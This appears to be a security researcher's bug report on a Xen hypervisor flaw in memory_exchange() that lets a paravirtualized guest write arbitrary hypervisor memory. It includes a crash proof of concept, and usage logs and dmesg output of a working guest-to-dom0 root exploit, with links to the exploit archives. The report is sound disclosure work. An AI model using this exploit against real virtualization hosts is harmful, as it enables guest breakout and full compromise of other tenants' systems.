Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1184



This bug report describes a vulnerability in memory_exchange() that

permits PV guest kernels to write to an arbitrary virtual address with

hypervisor privileges. The vulnerability was introduced through a

broken fix for CVE-2012-5513 / XSA-29.



The fix for CVE-2012-5513 / XSA-29 introduced the following check in

the memory_exchange() hypercall handler:



    if ( !guest_handle_okay(exch.in.extent_start, exch.in.nr_extents) ||

         !guest_handle_okay(exch.out.extent_start, exch.out.nr_extents) )

    {

        rc = -EFAULT;

        goto fail_early;

    }



guest_handle_okay() calls array_access_ok(), which calls access_ok(),

which is implemented as follows:



    /*

     * Valid if in +ve half of 48-bit address space, or above

     * Xen-reserved area.

     * This is also valid for range checks (addr, addr+size). As long

     * as the start address is outside the Xen-reserved area then we

     * will access a non-canonical address (and thus fault) before

     * ever reaching VIRT_START.

     */

    #define __addr_ok(addr) \

        (((unsigned long)(addr) < (1UL<<47)) || \

         ((unsigned long)(addr) >= HYPERVISOR_VIRT_END))



    #define access_ok(addr, size) \

        (__addr_ok(addr) || is_compat_arg_xlat_range(addr, size))



As the comment states, access_ok() only checks the address, not the

size, if the address points to guest memory, based on the assumption

that any caller of access_ok() will access guest memory linearly,

starting at the supplied address. Callers that want to access a

subrange of the memory referenced by a guest handle are supposed to

use guest_handle_subrange_okay(), which takes an additional start

offset parameter, instead of guest_handle_okay().



memory_exchange() uses guest_handle_okay(), but only accesses the

guest memory arrays referenced by exch.in.extent_start and

exch.out.extent_start starting at exch.nr_exchanged, a 64-bit offset.

The intent behind exch.nr_exchanged is that guests always set it to 0

and nonzero values are only set when a hypercall has to be restarted

because of preemption, but this isn't enforced.



Therefore, by invoking this hypercall with crafted arguments, it is

possible to write to an arbitrary memory location that is encoded as



    exch.out.extent_start + 8 * exch.nr_exchanged



where exch.out.extent_start points to guest memory and

exch.nr_exchanged is an attacker-chosen 64-bit value.





I have attached a proof of concept. This PoC demonstrates the issue by

overwriting the first 8 bytes of the IDT entry for #PF, causing the

next pagefault to doublefault. To run the PoC, unpack it in a normal

64-bit PV domain and run the following commands in the domain as root:



root@pv-guest:~# cd crashpoc

root@pv-guest:~/crashpoc# make -C /lib/modules/$(uname -r)/build M=$(pwd)

make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'

  LD      /root/crashpoc/built-in.o

  CC [M]  /root/crashpoc/module.o

nasm -f elf64 -o /root/crashpoc/native.o /root/crashpoc/native.asm

  LD [M]  /root/crashpoc/test.o

  Building modules, stage 2.

  MODPOST 1 modules

WARNING: could not find /root/crashpoc/.native.o.cmd for /root/crashpoc/native.o

  CC      /root/crashpoc/test.mod.o

  LD [M]  /root/crashpoc/test.ko

make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'

root@pv-guest:~/crashpoc# insmod test.ko

root@pv-guest:~/crashpoc# rmmod test



The machine on which I tested the PoC was running Xen 4.6.0-1ubuntu4

(from Ubuntu 16.04.2). Executing the PoC caused the following console

output:



(XEN) *** DOUBLE FAULT ***

(XEN) ----[ Xen-4.6.0  x86_64  debug=n  Tainted:    C ]----

(XEN) CPU:    0

(XEN) RIP:    e033:[<0000557b46f56860>] 0000557b46f56860

(XEN) RFLAGS: 0000000000010202   CONTEXT: hypervisor

(XEN) rax: 00007fffe9cfafd0   rbx: 00007fffe9cfd160   rcx: 0000557b47ebd040

(XEN) rdx: 0000000000000001   rsi: 0000000000000004   rdi: 0000557b47ec52e0

(XEN) rbp: 00007fffe9cfd158   rsp: 00007fffe9cfaf30   r8:  0000557b46f7df00

(XEN) r9:  0000557b46f7dec0   r10: 0000557b46f7df00   r11: 0000557b47ec5878

(XEN) r12: 0000557b47ebd040   r13: 00007fffe9cfb0c0   r14: 0000557b47ec52e0

(XEN) r15: 0000557b47ed5e70   cr0: 0000000080050033   cr4: 00000000001506a0

(XEN) cr3: 0000000098e2e000   cr2: 00007fffe9cfaf93

(XEN) ds: 0000   es: 0000   fs: 0000   gs: 0000   ss: e02b   cs: e033

(XEN) 

(XEN) ****************************************

(XEN) Panic on CPU 0:

(XEN) DOUBLE FAULT -- system shutdown

(XEN) ****************************************

(XEN) 

(XEN) Reboot in five seconds...





I strongly recommend changing the semantics of access_ok() so that it

guarantees that any access to an address inside the specified range is

valid. Alternatively, add some prefix, e.g. "UNSAFE_", to the names of

access_ok() and appropriate wrappers to prevent people from using

these functions improperly. Currently, in my opinion, the function

name access_ok() is misleading.



Proof of Concept: xen_memory_exchange_crashpoc.tar 



################################################################################



I have written an exploit (attached).



Usage (in an unprivileged PV guest with kernel headers, gcc, make, nasm and hexdump):





root@pv-guest:~/privesc_poc# ./compile.sh 

make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'

  LD      /root/privesc_poc/built-in.o

  CC [M]  /root/privesc_poc/module.o

nasm -f elf64 -o /root/privesc_poc/native.o /root/privesc_poc/native.asm

  LD [M]  /root/privesc_poc/test.o

  Building modules, stage 2.

  MODPOST 1 modules

WARNING: could not find /root/privesc_poc/.native.o.cmd for /root/privesc_poc/native.o

  CC      /root/privesc_poc/test.mod.o

  LD [M]  /root/privesc_poc/test.ko

make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'

root@pv-guest:~/privesc_poc# ./attack 'id > /tmp/owned_by_the_guest'                                                                                       

press enter to continue

<press enter>

root@pv-guest:~/privesc_poc#  





dmesg in the unprivileged PV guest:





[  721.413415] call_int_85 at 0xffffffffc0075a90

[  721.420167] backstop_85_handler at 0xffffffffc0075a93

[  722.801566] PML4 at ffff880002fe3000

[  722.808216] PML4 entry: 0x13bba4067

[  722.816161] ### trying to write crafted PUD entry...

[  722.824178] ### writing byte 0

[  722.832193] write_byte_hyper(ffff88007a491008, 0x7)

[  722.840254] write_byte_hyper successful

[  722.848234] ### writing byte 1

[  722.856170] write_byte_hyper(ffff88007a491009, 0x80)

[  722.864219] write_byte_hyper successful

[  722.872241] ### writing byte 2

[  722.880215] write_byte_hyper(ffff88007a49100a, 0x35)

[  722.889014] write_byte_hyper successful

[  722.896232] ### writing byte 3

[  722.904265] write_byte_hyper(ffff88007a49100b, 0x6)

[  722.912599] write_byte_hyper successful

[  722.920246] ### writing byte 4

[  722.928270] write_byte_hyper(ffff88007a49100c, 0x0)

[  722.938554] write_byte_hyper successful

[  722.944231] ### writing byte 5

[  722.952239] write_byte_hyper(ffff88007a49100d, 0x0)

[  722.961769] write_byte_hyper successful

[  722.968221] ### writing byte 6

[  722.976219] write_byte_hyper(ffff88007a49100e, 0x0)

[  722.984319] write_byte_hyper successful

[  722.992233] ### writing byte 7

[  723.000234] write_byte_hyper(ffff88007a49100f, 0x0)

[  723.008341] write_byte_hyper successful

[  723.016254] ### writing byte 8

[  723.024357] write_byte_hyper(ffff88007a491010, 0x0)

[  723.032254] write_byte_hyper successful

[  723.040236] ### crafted PUD entry written

[  723.048199] dummy

[  723.056199] going to link PMD into target PUD

[  723.064238] linked PMD into target PUD

[  723.072206] going to unlink mapping via userspace PUD

[  723.080230] mapping unlink done

[  723.088251] copying HV and user shellcode...

[  723.096283] copied HV and user shellcode

[  723.104270] int 0x85 returned 0x7331

[  723.112237]   remapping paddr 0x13bb86000 to vaddr 0xffff88000355a800

[  723.120192] IDT entry for 0x80 should be at 0xffff83013bb86800

[  723.128226] remapped IDT entry for 0x80 to 0xffff804000100800

[  723.136260] IDT entry for 0x80: addr=0xffff82d08022a3d0, selector=0xe008, ist=0x0, p=1, dpl=3, s=0, type=15

[  723.144291] int 0x85 returned 0x1337

[  723.152235] === END ===





The supplied shell command executes in dom0 (and all other 64bit PV domains):





root@ubuntu:~# cat /tmp/owned_by_the_guest 

uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:~# 





Note that the exploit doesn't clean up after itself - shutting down the attacking domain will panic the hypervisor.





I have tested the exploit in the following configurations:



configuration 1:

running inside VMware Workstation

Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"

dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu

unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu



configuration 2:

running on a physical machine with Qubes OS 3.1 installed

Xen version 4.6.3



Proof of Concept: privesc_poc.tar.gz 



################################################################################



Proofs of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41870.zip